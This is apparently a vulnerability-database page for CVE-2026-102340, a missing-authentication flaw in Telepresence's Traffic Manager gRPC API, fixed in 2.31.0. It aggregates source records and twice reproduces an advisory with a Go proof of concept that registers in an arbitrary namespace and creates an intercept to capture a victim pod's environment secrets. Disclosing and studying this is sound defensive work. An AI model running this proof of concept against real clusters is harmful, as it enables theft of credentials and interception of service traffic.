Every CVESearch/Get API key

CVE-2026-102340

Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

8.5 HighFix available

CVE-2026-102340 is a high vulnerability (CVSS 8.5) in Cisco Telepresence, published November 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.28%, the 20th percentile. Fixed in github.com/telepresenceio/telepresence 2.31.0.

Severity
8.5 HighCVSS 3.1, CVE List
Exploit chance
0.28%EPSS, 20th percentile
Exploitation
None knownNot on CISA’s or ENISA’s lists
Fixed in
2.31.0github.com/telepresenceio/telepresence

Description

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.28%Unchanged since Nov 5, 2026
90%50%10%1%

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/telepresenceio/telepresence
Go
before 2.31.0
2.31.0

What each source reports

CVE List Score used8.5

Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.

Record
CVE-2026-102340
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-306, CWE-862
Updated
2026-11-09
EUVDEUVD-2026-1170968.5

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.

Record
EUVD-2026-117096
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Updated
2026-11-10
GitHub AdvisoriesGHSA-j8j4-rw65-56r68.5

Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

Summary

Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.

Details

The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).

ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):

// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
    if !s.State().ManagesNamespace(ctx, client.Namespace) {
        return nil, status.Error(codes.FailedPrecondition, ...)
    }
    // No SAR, no bearer token, no kubeconfig check
    return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}

CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns) — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.

Proof of Concept

From any pod in the cluster:

conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
    Name: "attacker@pod", Namespace: "payments",
    InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})

mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
    Session: session,
    InterceptSpec: &rpc.InterceptSpec{
        Name: "steal", Agent: "payments-api", Namespace: "payments",
        Mechanism: "tcp", Client: "attacker@pod",
    },
})

Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.

Impact

Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed. Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.

Record
GHSA-j8j4-rw65-56r6
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-306, CWE-862
Updated
2026-11-09
NVD8.5

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.

Record
CVE-2026-102340
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-306, CWE-862
Updated
2026-11-09
OSV8.5

Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.

Record
CVE-2026-102340
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-306, CWE-862
Updated
2026-11-11
OSVGHSA-j8j4-rw65-56r68.5

Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

Summary

Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.

Details

The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).

ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):

// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
    if !s.State().ManagesNamespace(ctx, client.Namespace) {
        return nil, status.Error(codes.FailedPrecondition, ...)
    }
    // No SAR, no bearer token, no kubeconfig check
    return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}

CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns) — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.

Proof of Concept

From any pod in the cluster:

conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
    Name: "attacker@pod", Namespace: "payments",
    InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})

mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
    Session: session,
    InterceptSpec: &rpc.InterceptSpec{
        Name: "steal", Agent: "payments-api", Namespace: "payments",
        Mechanism: "tcp", Client: "attacker@pod",
    },
})

Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.

Impact

Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed. Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.

Record
GHSA-j8j4-rw65-56r6
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-306, CWE-862
Updated
2026-11-09

History

History
RecordedChangedSources
publishedEUVD
publishedEUVD
affected, referencesOSV
affected, facts, referencesCVE List, EUVD, GitHub Advisories, NVD, OSV
aliases, referencesNVD, OSV
aliases, products, publishedEUVD
first indexedCVE List

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

Show 4 moreShow less
MoveEnter Open